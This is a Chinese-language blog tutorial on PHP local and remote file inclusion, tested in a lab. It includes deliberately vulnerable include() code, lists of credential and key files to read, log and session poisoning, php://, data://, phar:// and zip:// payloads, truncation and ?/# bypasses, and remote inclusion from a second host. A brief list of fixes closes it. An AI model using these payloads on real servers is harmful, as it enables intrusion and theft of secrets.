文件包含漏洞(LFI/RFI)

March 28, 2019 WEB安全 访问: 35 次

OWASP TOP 10漏洞---文件包含

文件包含

简介

在php中文件包含分为本地文件包含(LFI)和远程文件包含(RFI)
如果一个网站允许客户端用户输入控制动态包含在服务器端的文件,再加上过滤不严的话,会导致恶意代码的执行和敏感信息泄露

在php中文件包含函数

include()
include_once()
require()
require_once()
filel_get_contents()
fopen()
readfile()

其中,include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。include_once和require_once和前两个的不同是这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,确保它只被包含一次以免函数重定义,变量重新赋值等。

小实例

<!-- file.php -->
<?php
@include($_GET['filename']);
?>
<!-- test.txt -->
<?php phpinfo();?>

通过get将test.txt文件名字包含进去,成功的执行了test.txt文件里面的代码
通过测试,test.txt中的代码格式应该是php文件的格式(

本地文件包含(LFI)

顾名思义,所要包含的文件是在服务器本身的文件,我们可以读取一些在服务器上特殊的敏感信息

windows服务器(网上查到是这几个,但是在我的win7虚拟机里面一个也没有,emmmm)

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

linux服务器

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.cnf // mysql 配置文件
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (
/proc/mounts
/proc/config.gz

包含日志文件(SSH log、environ等)

首先来了解一下access.log这个日志文件:

access.log

access_log记录了所有对Web服务器的访问活动,首先我们先找到这个文件:

在我被攻击的机器上的位置:/var/log/apache2/access.log

先把这个文件清空一下,然后再用攻击方进行第一次访问

把这一条信息提取出来:

192.168.1.251 - - [28/Mar/2019:15:04:13 +0800] "GET /test.php?filename=radish HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
  • 包含信息:
    -- 远程主机的地址:192.168.1.251
    -- 空白:“-”占位符
    -- 空白:“-”占位符
    -- 请求的时间:[28/Mar/2019:15:04:13 +0800]
    -- 请求方式以及url:GET
    -- 状态码:200
    -- 发送给客户端的总子节数
    -- 客户端浏览器的信息:Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0

发现我们请求的数据有保存在服务器的这个文件中,那么如果我们在请求的数据中添加上php代码的话,再利用文件包含漏洞去包含这个文件,我们的php代码就可以执行了。
首先我们试一下将php代码插入到get传参中
第一个payload:

http://192.168.1.239/test.php?filename=%3C?php%20phpinfo();?%3E

然后再次包含access.log文件,发现我们插入的代码被转码了

在access.log中还包括了用户访问的浏览器信息,也就是head头部中的User-Agent标识,如果我们把php代码插入到这里,那么同样也是可以执行的,先用burp抓一个包,插入php代码

再次包含日志文件发现成功的执行了插入的php代码

包含session

session存储的地址可以通过phpinfo来查看

session的文件名是"sess_"+当前PHPSESSID
测试代码:

<?php
    session_start();
    $_SESSION['radish']=$_GET['filename'];
    @include($_GET['filename']);
?>

查看session的文件名:

确实符合刚刚文件名的规则
第一次访问payload:

http://10.10.165.248/rfi.php?filename=radish
➜  sessions ls
sess_p5nt4rt91e53qp3aibjqonh2t4
➜  sessions

然后查看sess_p5nt4rt91e53qp3aibjqonh2t4文件中的内容:

➜  sessions cat sess_p5nt4rt91e53qp3aibjqonh2t4
radish|s:6:"radish";%                                                                                                   ➜  sessions

发现这里面有我们传入session的原字符串,那么就好办了,我们先访问一个带有php代码的url,然后再去包含一下session这个文件,就会执行我们的php代码了
第一次访问:

http://10.10.165.248/rfi.php?filename=%3C?php%20phpinfo();?%3E

那么现在session中就包含这"",然后再去包含:

成功执行代码

php伪协议

php://input

php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。
比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的

例子:
<?php
    echo file_get_contents("php://input");
?>

效果:

这一条的原理可以理解为远程文件包含漏洞(RFI)

php://output

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区

php://input配合include直接执行php代码

条件:
- allow_url_fopen和allow_url_include同时开启,php版本小于5.3.0
<?php @include($_GET['filname']); ?>

效果:

php://filter

利用它可以读取服务器中的文件
由于读取文件的数据直接输出在了页面上,如果读取的是php文件的话,浏览器会直接解析成php代码而不会显示,那么我们可以用这个协议将php文件中的代码以base64的形式输出在页面上:

<?php
    @include($_GET['filename']);
?>

payload:

http://10.10.166.222/test/file.php?filename=php://filter/read=convert.base64-encode/resource=file.php

效果:

以其他格式显示:
string.tolower //写入内容全部变成小写
string.toupper //写入内容全部变成大写
string.rot13 //写入内容全部对字符串执行 ROT13 编码

data://

<?php
    @include($_GET['filename']);
?>

payload:

http://192.168.0.103/test/file.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

payload2

http://192.168.0.103/test/file.php?filename=data:text/plain,<?php phpinfo();?>

效果:

phar://

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。前提条件是php版本大于5.3.0,而且压缩包必须是zip协议压缩的文件
payload:

http://192.168.1.239/rfi.php?filename=phar://shell.zip/shell.php

zip://

和上一个的原理差不多,只是格式不一样

http://192.168.1.239/rfi.php?filename=zip://shell.zip%23shell.php

最后发现把一个简单的phpinfo压缩之后直接包含这个压缩包也可以执行,哈哈

加了一些限制的绕过方法

指定后缀名

<?php
    @$filename = $_GET['filename'];
    @include($filename.".html");
?>

直接包含本目录下的test.txt,发现是不能够被包含的,因为文件名最后变成了“test.txt.html”

http://192.168.1.251/test/file.php?filename=test.txt

在最后的参数后面加一个“%00”,实现“%00”截断,发现成功包含

http://192.168.1.251/test/file.php?filename=test.txt%00


另一种方法是路径长度截断,在windows最大长度是256,linux上是4096

http://192.168.1.251/test/file.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././


另一种是点号绕过:(windows,点号需要超过256)

http://192.168.1.251/test/file.php?filename=test.txt................................................................................................................................................................................................................................................................

远程文件包含

包含在服务器上的txt文件,远程服务器存放一个txt文件,或者不被解析的php文件(包含的时候,包含的是返回的php源代码,所以php源代码不能被解析)

<?php
    @include($_GET['filename']);
?>

远程服务器上的文件代码(test.txt):

<?php
phpinfo();
 ?>

payload:

http://192.168.0.107/test.php?filename=http://192.168.0.103/test/test.txt

效果:

任意文件包含配合任意文件上传

通过上传一个图片马,然后通过文件包含这个图片马来getshell

修复方案

  • php中可以使用open_basedir配置限制访问限制在指定的区域
  • 过滤“.”、“\”、“/”
  • 禁止服务器远程文件包含

有限制远程文件包含漏洞绕过

首先准备一个在服务器上 放的txt文件:

<?php phpinfo();?>

漏洞代码:

<?php
    @$filename = $_GET['filename'];
    include($filename.".html");
?>

问号绕过

http://192.168.1.251/test/file.php?filename=http://192.168.1.239/test.txt?

#号绕过

由于是get传参,所以要先把“#”转码

http://192.168.1.251/test/file.php?filename=http://192.168.1.239/test.txt%23

windows和linux差别

在windows上“%00”、“%3f”可以绕过,在linux除此之外“%20”也可以绕过

添加新评论